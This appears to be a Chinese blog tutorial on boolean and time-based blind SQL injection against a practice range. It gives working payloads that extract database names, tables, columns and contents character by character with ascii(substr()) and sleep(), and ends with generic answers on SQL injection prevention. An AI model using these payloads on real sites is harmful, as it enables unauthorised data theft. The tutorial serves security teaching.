web安全入门(第四章-4)盲注注入

一、盲注介绍

  所谓盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

布尔盲注
    布尔很明显trup跟fales,也就是说他只会根据你的诸如信息
	返回trup跟fales,也就没有了之前的报错信息。
	
时间盲注
    界面返回值只有一种,trup无论输入任何值,返回情况都会按
	正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差
    来判断注入的语句是否正确。		

二、盲注需要掌握的几个函数

length()函数,返回字符串的长度  select length(123456);
substr()截取字符串(语法:substr(str,pos,len);)  select substr(str,pos,len);  
ascii()返回字符串的ascii码[将字符串变为数字wei]  select ascii('a');
sleep()将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句,如果第一个语句正常就执行第二个语句如果错误就执行第三个语句

三、盲注靶场的做法

猜解当前数据库名称长度:
id=1' and(length(database()))>9#
利用ascii码猜解当前数据库名称:
and(ascii(substr(database(),1,1)))=115--+返回正常,说明数据库名称第一位是s
and(ascii(substr(database(),2,1)))=101--+返回正常,说明数据库名称第一位是e

猜表名:
and(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e

猜字段名:
and(ascii(substr((select column_name from information_schema.columns where table_name='zkaq'
limit 0,1),1,1)))=102--+返回正常,说明zkaq表中的列名称第一位是f

猜内容:
and(ascii(substr((select zkaq from zkaq limit 4,1),1,1)))=122--+返回正常,说明zkaq列第一位是z

四、延时注入靶场做法

if(expr1,expr2,expr3)判断语句,如果第一个语句正常就执行第二个语句如果错误就执行第三个语句
and if(ascii(substr(database(),1,1))>120,0,sleep(10))--+

第一关:select*from news where id="1"
and if(length(database())=12,sleep(5),'a')-- qwe"
And if(ascii(substr(database()1,1))=107,sleep(2),’a’) -- qwe”
第二关:select*from news where id=('1')

延时盲注其实和布尔盲注没有什么他大区别,只不过是依靠页面是否正常判断,一个是否
延时判断,在操作上其实也差不多,只不过延时多个if()

if(ascii(substr(database(),1,1)) >1,sleep(2),%27a%27)
if(条件,成立则执行第二个参数,否则执行地三个参数)

ascii(substr(database(),1,1)) >1
当前库名第一个字符对应的ascii码是否大于1

综上,这句话得意思是
当前库名得第一个字符对应的ascii码如果大于1,则延迟2秒,否则返回a
### 回答1: SQL注入是一种常见的攻击方式,攻击者通过在Web应用程序中注入恶意的SQL语句,从而获取敏感信息或者执行非法操作。SQL注入攻击的原理是利用Web应用程序没有对用户输入的数据进行充分的过滤和验证,从而导致恶意SQL语句被执行。为了防止SQL注入攻击,开发人员需要对用户输入的数据进行严格的过滤和验证,同时使用参数化查询等技术来防止SQL注入攻击。 ### 回答2: SQL注入攻击是指攻击者通过把恶意的SQL语句插入到应用程序输入数据中的方法,来实现非法操作或篡改数据的一种攻击技术。攻击者利用SQL注入漏洞可以获取敏感数据,改变数据库中的数据,甚至完全控制应用程序。 攻击者利用SQL注入漏洞,可以通过几种方法来实现攻击。以下是一些常见的SQL注入攻击方式: 1.基于错误的注入:攻击者可以通过注入恶意SQL语句,导致应用程序出现错误或异常,从而获得应用程序内部的敏感数据。 2.盲注注入:攻击者可以通过注入语句,来获取数据库信息,如数据库版本,或者判断SQL查询的结果是否正确。 3.联合查询注入:攻击者可以通过在注入语句中添加SELECT语句,来获取敏感数据或执行一些非法操作。 SQL注入攻击作为一种常见的网络攻击方式,需要我们在开发过程中加强对应用程序输入数据进行过滤和检查,以防止SQL注入漏洞。以下是一些预防SQL注入攻击的方法: 1.使用参数化查询:应用程序可以使用参数化查询语句,通过绑定参数来保证输入数据不会被作为SQL语句的一部分执行。 2.限制用户输入:应用程序可以限制用户输入的字符集合,或对用户输入的内容进行验证和过滤。 3.对于敏感数据,可以使用加密等措施来保证数据的安全性。 总之,应用程序开发者需要认识到SQL注入攻击的威胁,并在开发过程中采取一些预防措施来保证应用程序的安全性。 ### 回答3: SQL注入是一种常见的网络攻击方式,旨在通过在输入框或者URL中注入SQL代码,以达到破坏或者获取数据库数据的目的。SQL注入可以通过输入合法的SQL语句来实现,或者通过输入特定的字符来执行恶意代码SQL注入攻击的原理在于,攻击者在输入框或者URL中输入包含SQL关键词的字符,这些字符会被解释成SQL命令执行,并且会以其余参数的身份执行,这意味着该攻击可以以管理员的身份执行,且能获取数据库的全部数据。 SQL注入攻击的表现可以是网站遭到入侵或者数据库中数据突然消失或者受到修改。为了防止SQL注入攻击,应该首先排除参数化输入的漏洞,即对于用户输入的数据需要进行过滤,过滤掉控制字符,即可有效地防止SQL注入攻击。 总之,SQL注入攻击是一种网络安全威胁,要防范此类攻击,网站管理者应当在网站上做好安全措施,确保用户输入的数据进行有效的过滤和检查以保证安全性。同时,网站用户也应避免输入不必要的信息和暴露个人隐私等信息,以避免成为攻击者的目标。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值